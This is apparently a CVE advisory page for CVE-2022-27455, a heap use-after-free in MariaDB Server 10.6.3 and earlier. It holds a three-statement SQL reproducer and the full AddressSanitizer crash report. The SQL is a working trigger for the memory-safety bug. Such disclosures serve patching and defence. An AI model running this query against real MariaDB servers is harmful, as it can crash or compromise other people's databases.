Headline

CVE-2022-27455: [MDEV-28097] use-after-free when WHERE has subquery with an outer reference in HAVING

MariaDB Server v10.6.3 and below was discovered to contain an use-after-free in the component my_wildcmp_8bit_impl at /strings/ctype-simple.c.

2 years ago

CVE

Open in Source

#sql #linux

CREATE TEMPORARY TABLE v0 ( v1 TEXT ( 60 ) NOT NULL ) ;

INSERT INTO v0 ( ) VALUES ( v1 IN ( 127 , -1 = v1 OR -1 , 0 ) ) , ( 0 ) ;

SELECT DISTINCT * FROM v0 WHERE ‘’ IN ( SELECT + ‘x’ LIKE v1 HAVING + v1 LIKE v1 ORDER BY v1 + v1 ) ;

==9327==ERROR: AddressSanitizer: heap-use-after-free on address 0x6290000c8288 at pc 0x000002b241e8 bp 0x7f3952747de0 sp 0x7f3952747dd8

READ of size 1 at 0x6290000c8288 thread T17

#0 0x2b241e7 in my\_wildcmp\_8bit\_impl /root/mariadb/strings/ctype-simple.c:964:12

#1 0x2b2397a in my\_wildcmp\_8bit /root/mariadb/strings/ctype-simple.c:1050:10

#2 0x16eea86 in charset\_info\_st::wildcmp(char const\*, char const\*, char const\*, char const\*, int, int, int) const /root/mariadb/include/m\_ctype.h:910:12

#3 0x16eea86 in Item\_func\_like::val\_int() /root/mariadb/sql/item\_cmpfunc.cc:5627:35

#4 0x1315e0d in Type\_handler\_int\_result::Item\_val\_bool(Item\*) const /root/mariadb/sql/sql\_type.cc:5105:16

#5 0x16ec0f7 in Item\_cond\_and::val\_int() /root/mariadb/sql/item\_cmpfunc.cc:5421:16

#6 0xdc6895 in JOIN::exec\_inner() /root/mariadb/sql/sql\_select.cc:4610:31

#7 0xdc344c in JOIN::exec() /root/mariadb/sql/sql\_select.cc:4527:3

#8 0x1952e43 in subselect\_single\_select\_engine::exec() /root/mariadb/sql/item\_subselect.cc:4115:11

#9 0x1928ebb in Item\_subselect::exec() /root/mariadb/sql/item\_subselect.cc:853:21

#10 0x1928ebb in Item\_in\_subselect::exec() /root/mariadb/sql/item\_subselect.cc:1035:3

#11 0x193469a in Item\_in\_subselect::val\_bool() /root/mariadb/sql/item\_subselect.cc:1965:7

#12 0x16bcbca in Item\_in\_optimizer::val\_int() /root/mariadb/sql/item\_cmpfunc.cc:1637:17

#13 0x1675138 in Item\_cache\_int::cache\_value() /root/mariadb/sql/item.cc:10054:19

#14 0x1666bec in Item\_cache\_wrapper::cache() /root/mariadb/sql/item.cc:8839:15

#15 0x1666bec in Item\_cache\_wrapper::val\_int() /root/mariadb/sql/item.cc:8893:3

#16 0xe30e35 in evaluate\_join\_record(JOIN\*, st\_join\_table\*, int) /root/mariadb/sql/sql\_select.cc:21193:25

#17 0xd4c23d in sub\_select(JOIN\*, st\_join\_table\*, bool) /root/mariadb/sql/sql\_select.cc:21134:9

#18 0xdc6797 in do\_select(JOIN\*, Procedure\*) /root/mariadb/sql/sql\_select.cc:20640:14

#19 0xdc6797 in JOIN::exec\_inner() /root/mariadb/sql/sql\_select.cc:4749:50

#20 0xdc344c in JOIN::exec() /root/mariadb/sql/sql\_select.cc:4527:3

#21 0xd4e4e8 in mysql\_select(THD\*, TABLE\_LIST\*, List<Item>&, Item\*, unsigned int, st\_order\*, st\_order\*, Item\*, st\_order\*, unsigned long long, select\_result\*, st\_select\_lex\_unit\*, st\_select\_lex\*) /root/mariadb/sql/sql\_select.cc:5007:9

#22 0xd4d74b in handle\_select(THD\*, LEX\*, select\_result\*, unsigned long) /root/mariadb/sql/sql\_select.cc:543:10

#23 0xc74410 in execute\_sqlcom\_select(THD\*, TABLE\_LIST\*) /root/mariadb/sql/sql\_parse.cc:6252:12

#24 0xc609c9 in mysql\_execute\_command(THD\*, bool) /root/mariadb/sql/sql\_parse.cc:3943:12

#25 0xc4a67e in mysql\_parse(THD\*, char\*, unsigned int, Parser\_state\*) /root/mariadb/sql/sql\_parse.cc:8027:18

#26 0xc41ba9 in dispatch\_command(enum\_server\_command, THD\*, char\*, unsigned int, bool) /root/mariadb/sql/sql\_parse.cc:1894:7

#27 0xc4b74b in do\_command(THD\*, bool) /root/mariadb/sql/sql\_parse.cc:1402:17

#28 0x111f9f2 in do\_handle\_one\_connection(CONNECT\*, bool) /root/mariadb/sql/sql\_connect.cc:1418:11

#29 0x111f248 in handle\_one\_connection /root/mariadb/sql/sql\_connect.cc:1312:5

#30 0x1f3f9dd in pfs\_spawn\_thread /root/mariadb/storage/perfschema/pfs.cc:2201:3

#31 0x7f3978f38608 in start\_thread /build/glibc-sMfBJT/glibc-2.31/nptl/pthread\_create.c:477:8

#32 0x7f3978c4e162 in clone /build/glibc-sMfBJT/glibc-2.31/misc/../sysdeps/unix/sysv/linux/x86\_64/clone.S:95

0x6290000c8288 is located 136 bytes inside of 16512-byte region [0x6290000c8200,0x6290000cc280)

freed by thread T17 here:

#0 0x80f732 in free (/usr/local/mysql/bin/mariadbd+0x80f732)

#1 0x243e1b8 in mem\_heap\_free(mem\_block\_info\_t\*) /root/mariadb/storage/innobase/include/mem0mem.inl:419:3

#2 0x243e1b8 in row\_mysql\_prebuilt\_free\_blob\_heap(row\_prebuilt\_t\*) /root/mariadb/storage/innobase/row/row0mysql.cc:101:2

#3 0x24b554c in row\_sel\_store\_mysql\_rec(unsigned char\*, row\_prebuilt\_t\*, unsigned char const\*, dtuple\_t const\*, bool, dict\_index\_t const\*, unsigned short const\*) /root/mariadb/storage/innobase/row/row0sel.cc:3109:3

#4 0x24afa37 in row\_search\_mvcc(unsigned char\*, page\_cur\_mode\_t, row\_prebuilt\_t\*, unsigned long, unsigned long) /root/mariadb/storage/innobase/row/row0sel.cc:5656:9

#5 0x217429c in ha\_innobase::general\_fetch(unsigned char\*, unsigned int, unsigned int) /root/mariadb/storage/innobase/handler/ha\_innodb.cc:9236:24

#6 0x15c44c3 in handler::ha\_rnd\_next(unsigned char\*) /root/mariadb/sql/handler.cc:3393:5

#7 0x930064 in rr\_sequential(READ\_RECORD\*) /root/mariadb/sql/records.cc:519:35

#8 0xd4c3e1 in READ\_RECORD::read\_record() /root/mariadb/sql/records.h:81:30

#9 0xd4c3e1 in sub\_select(JOIN\*, st\_join\_table\*, bool) /root/mariadb/sql/sql\_select.cc:21114:18

#10 0xdc6797 in do\_select(JOIN\*, Procedure\*) /root/mariadb/sql/sql\_select.cc:20640:14

#11 0xdc6797 in JOIN::exec\_inner() /root/mariadb/sql/sql\_select.cc:4749:50

#12 0xdc344c in JOIN::exec() /root/mariadb/sql/sql\_select.cc:4527:3

#13 0xd4e4e8 in mysql\_select(THD\*, TABLE\_LIST\*, List<Item>&, Item\*, unsigned int, st\_order\*, st\_order\*, Item\*, st\_order\*, unsigned long long, select\_result\*, st\_select\_lex\_unit\*, st\_select\_lex\*) /root/mariadb/sql/sql\_select.cc:5007:9

#14 0xd4d74b in handle\_select(THD\*, LEX\*, select\_result\*, unsigned long) /root/mariadb/sql/sql\_select.cc:543:10

#15 0xc74410 in execute\_sqlcom\_select(THD\*, TABLE\_LIST\*) /root/mariadb/sql/sql\_parse.cc:6252:12

#16 0xc609c9 in mysql\_execute\_command(THD\*, bool) /root/mariadb/sql/sql\_parse.cc:3943:12

#17 0xc4a67e in mysql\_parse(THD\*, char\*, unsigned int, Parser\_state\*) /root/mariadb/sql/sql\_parse.cc:8027:18

#18 0xc41ba9 in dispatch\_command(enum\_server\_command, THD\*, char\*, unsigned int, bool) /root/mariadb/sql/sql\_parse.cc:1894:7

#19 0xc4b74b in do\_command(THD\*, bool) /root/mariadb/sql/sql\_parse.cc:1402:17

#20 0x111f9f2 in do\_handle\_one\_connection(CONNECT\*, bool) /root/mariadb/sql/sql\_connect.cc:1418:11

#21 0x111f248 in handle\_one\_connection /root/mariadb/sql/sql\_connect.cc:1312:5

#22 0x1f3f9dd in pfs\_spawn\_thread /root/mariadb/storage/perfschema/pfs.cc:2201:3

#23 0x7f3978f38608 in start\_thread /build/glibc-sMfBJT/glibc-2.31/nptl/pthread\_create.c:477:8

previously allocated by thread T17 here:

#0 0x80f99d in malloc (/usr/local/mysql/bin/mariadbd+0x80f99d)

#1 0x215c51e in ut\_allocator<unsigned char, true>::allocate(unsigned long, unsigned char const\*, unsigned int, bool, bool) /root/mariadb/storage/innobase/include/ut0new.h:375:11

#2 0x2301754 in mem\_heap\_create\_block\_func(mem\_block\_info\_t\*, unsigned long, unsigned long) /root/mariadb/storage/innobase/mem/mem0mem.cc:277:37

#3 0x24be2fc in mem\_heap\_create\_func(unsigned long, unsigned long) /root/mariadb/storage/innobase/include/mem0mem.inl:377:10

#4 0x24be2fc in row\_sel\_store\_mysql\_field(unsigned char\*, row\_prebuilt\_t\*, unsigned char const\*, dict\_index\_t const\*, unsigned short const\*, unsigned long, mysql\_row\_templ\_t const\*) /root/mariadb/storage/innobase/row/row0sel.cc:3050:27

#5 0x24b4ea9 in row\_sel\_store\_mysql\_rec(unsigned char\*, row\_prebuilt\_t\*, unsigned char const\*, dtuple\_t const\*, bool, dict\_index\_t const\*, unsigned short const\*) /root/mariadb/storage/innobase/row/row0sel.cc:3196:8

#6 0x24afa37 in row\_search\_mvcc(unsigned char\*, page\_cur\_mode\_t, row\_prebuilt\_t\*, unsigned long, unsigned long) /root/mariadb/storage/innobase/row/row0sel.cc:5656:9

#7 0x21739c3 in ha\_innobase::index\_read(unsigned char\*, unsigned char const\*, unsigned int, ha\_rkey\_function) /root/mariadb/storage/innobase/handler/ha\_innodb.cc:8970:5

#8 0x2174d99 in ha\_innobase::index\_first(unsigned char\*) /root/mariadb/storage/innobase/handler/ha\_innodb.cc:9339:14

#9 0x2174d99 in ha\_innobase::rnd\_next(unsigned char\*) /root/mariadb/storage/innobase/handler/ha\_innodb.cc:9432:11

#10 0x15c44c3 in handler::ha\_rnd\_next(unsigned char\*) /root/mariadb/sql/handler.cc:3393:5

#11 0x930064 in rr\_sequential(READ\_RECORD\*) /root/mariadb/sql/records.cc:519:35

#12 0xd4c04d in sub\_select(JOIN\*, st\_join\_table\*, bool) /root/mariadb/sql/sql\_select.cc:21092:12

#13 0xdc6797 in do\_select(JOIN\*, Procedure\*) /root/mariadb/sql/sql\_select.cc:20640:14

#14 0xdc6797 in JOIN::exec\_inner() /root/mariadb/sql/sql\_select.cc:4749:50

#15 0xdc344c in JOIN::exec() /root/mariadb/sql/sql\_select.cc:4527:3

#16 0xd4e4e8 in mysql\_select(THD\*, TABLE\_LIST\*, List<Item>&, Item\*, unsigned int, st\_order\*, st\_order\*, Item\*, st\_order\*, unsigned long long, select\_result\*, st\_select\_lex\_unit\*, st\_select\_lex\*) /root/mariadb/sql/sql\_select.cc:5007:9

#17 0xd4d74b in handle\_select(THD\*, LEX\*, select\_result\*, unsigned long) /root/mariadb/sql/sql\_select.cc:543:10

#18 0xc74410 in execute\_sqlcom\_select(THD\*, TABLE\_LIST\*) /root/mariadb/sql/sql\_parse.cc:6252:12

#19 0xc609c9 in mysql\_execute\_command(THD\*, bool) /root/mariadb/sql/sql\_parse.cc:3943:12

#20 0xc4a67e in mysql\_parse(THD\*, char\*, unsigned int, Parser\_state\*) /root/mariadb/sql/sql\_parse.cc:8027:18

#21 0xc41ba9 in dispatch\_command(enum\_server\_command, THD\*, char\*, unsigned int, bool) /root/mariadb/sql/sql\_parse.cc:1894:7

#22 0xc4b74b in do\_command(THD\*, bool) /root/mariadb/sql/sql\_parse.cc:1402:17

#23 0x111f9f2 in do\_handle\_one\_connection(CONNECT\*, bool) /root/mariadb/sql/sql\_connect.cc:1418:11

#24 0x111f248 in handle\_one\_connection /root/mariadb/sql/sql\_connect.cc:1312:5

#25 0x1f3f9dd in pfs\_spawn\_thread /root/mariadb/storage/perfschema/pfs.cc:2201:3

#26 0x7f3978f38608 in start\_thread /build/glibc-sMfBJT/glibc-2.31/nptl/pthread\_create.c:477:8

Thread T17 created by T0 here:

#0 0x7f9cfc in pthread\_create (/usr/local/mysql/bin/mariadbd+0x7f9cfc)

#1 0x1f3fd39 in my\_thread\_create(unsigned long\*, pthread\_attr\_t const\*, void\* (\*)(void\*), void\*) /root/mariadb/storage/perfschema/my\_thread.h:52:10

#2 0x1f3fd39 in pfs\_spawn\_thread\_v1 /root/mariadb/storage/perfschema/pfs.cc:2252:15

#3 0x85cef4 in inline\_mysql\_thread\_create(unsigned int, unsigned long\*, pthread\_attr\_t const\*, void\* (\*)(void\*), void\*) /root/mariadb/include/mysql/psi/mysql\_thread.h:1139:11

#4 0x85cef4 in create\_thread\_to\_handle\_connection(CONNECT\*) /root/mariadb/sql/mysqld.cc:5975:19

#5 0x85e72a in create\_new\_thread(CONNECT\*) /root/mariadb/sql/mysqld.cc:6034:3

#6 0x85e72a in handle\_accepted\_socket(st\_mysql\_socket, st\_mysql\_socket) /root/mariadb/sql/mysqld.cc:6096:5

#7 0x85a34c in handle\_connections\_sockets() /root/mariadb/sql/mysqld.cc:6220:9

#8 0x84e9ef in mysqld\_main(int, char\*\*) /root/mariadb/sql/mysqld.cc:5870:3

#9 0x7f3978b530b2 in \_\_libc\_start\_main /build/glibc-sMfBJT/glibc-2.31/csu/../csu/libc-start.c:308:16

SUMMARY: AddressSanitizer: heap-use-after-free /root/mariadb/strings/ctype-simple.c:964:12 in my_wildcmp_8bit_impl

Shadow bytes around the buggy address:

0x0c5280011000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

0x0c5280011010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

0x0c5280011020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

0x0c5280011030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

0x0c5280011040: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd

=>0x0c5280011050: fd[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd

0x0c5280011060: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd

0x0c5280011070: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd

0x0c5280011080: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd

0x0c5280011090: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd

0x0c52800110a0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd

Shadow byte legend (one shadow byte represents 8 application bytes):

Addressable: 00

Partially addressable: 01 02 03 04 05 06 07

Heap left redzone: fa

Freed heap region: fd

Stack left redzone: f1

Stack mid redzone: f2

Stack right redzone: f3

Stack after return: f5

Stack use after scope: f8

Global redzone: f9

Global init order: f6

Poisoned by user: f7

Container overflow: fc

Array cookie: ac

Intra object redzone: bb

ASan internal: fe

Left alloca redzone: ca

Right alloca redzone: cb

Shadow gap: cc

==9327==ABORTING

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